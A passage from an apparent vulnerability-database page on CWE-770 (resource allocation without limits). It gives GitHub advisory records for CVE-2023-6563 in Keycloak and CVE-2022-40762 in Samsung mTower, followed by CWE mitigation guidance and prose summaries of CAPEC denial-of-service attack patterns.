"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-54F3-C6HG-865H
Vulnerability from github – Published: 2023-12-14 18:30 – Updated: 2023-12-29 00:14An unconstrained memory consumption vulnerability was discovered in Keycloak. It can be triggered in environments which have millions of offline tokens (> 500,000 users with each having at least 2 saved sessions). If an attacker creates two or more user sessions and then open the "consents" tab of the admin User Interface, the UI attempts to load a huge number of offline client sessions leading to excessive memory and CPU consumption which could potentially crash the entire system.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-model-jpa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "21.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-6563"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-15T23:17:43Z",
"nvd_published_at": "2023-12-14T18:15:45Z",
"severity": "HIGH"
},
"details": "An unconstrained memory consumption vulnerability was discovered in Keycloak. It can be triggered in environments which have millions of offline tokens (\u003e 500,000 users with each having at least 2 saved sessions). If an attacker creates two or more user sessions and then open the \"consents\" tab of the admin User Interface, the UI attempts to load a huge number of offline client sessions leading to excessive memory and CPU consumption which could potentially crash the entire system. ",
"id": "GHSA-54f3-c6hg-865h",
"modified": "2023-12-29T00:14:20Z",
"published": "2023-12-14T18:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6563"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/issues/13340"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/pull/15463"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/commit/556146f961f7c8ddf64de15e2117a58d045f72b5"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7854"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7855"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7856"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7857"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7858"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-6563"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2253308"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Allocation of Resources Without Limits in Keycloak"
}
GHSA-54J4-X52X-WHP5
Vulnerability from github – Published: 2022-09-17 00:00 – Updated: 2022-09-22 00:00A Memory Allocation with Excessive Size Value vulnerablity in the TEE_Realloc function in Samsung mTower through 0.3.0 allows a trusted application to trigger a Denial of Service (DoS) by invoking the function TEE_Realloc with an excessive number for the parameter len.
{
"affected": [],
"aliases": [
"CVE-2022-40762"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-16T22:15:00Z",
"severity": "HIGH"
},
"details": "A Memory Allocation with Excessive Size Value vulnerablity in the TEE_Realloc function in Samsung mTower through 0.3.0 allows a trusted application to trigger a Denial of Service (DoS) by invoking the function TEE_Realloc with an excessive number for the parameter len.",
"id": "GHSA-54j4-x52x-whp5",
"modified": "2022-09-22T00:00:24Z",
"published": "2022-09-17T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40762"
},
{
"type": "WEB",
"url": "https://github.com/Samsung/mTower/issues/82"
},
{
"type": "WEB",
"url": "https://github.com/Samsung/mTower/blob/efd36709306a9afcca5b4782499d01be0c7a02a5/tee/lib/libutee/tee_api.c#L319"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.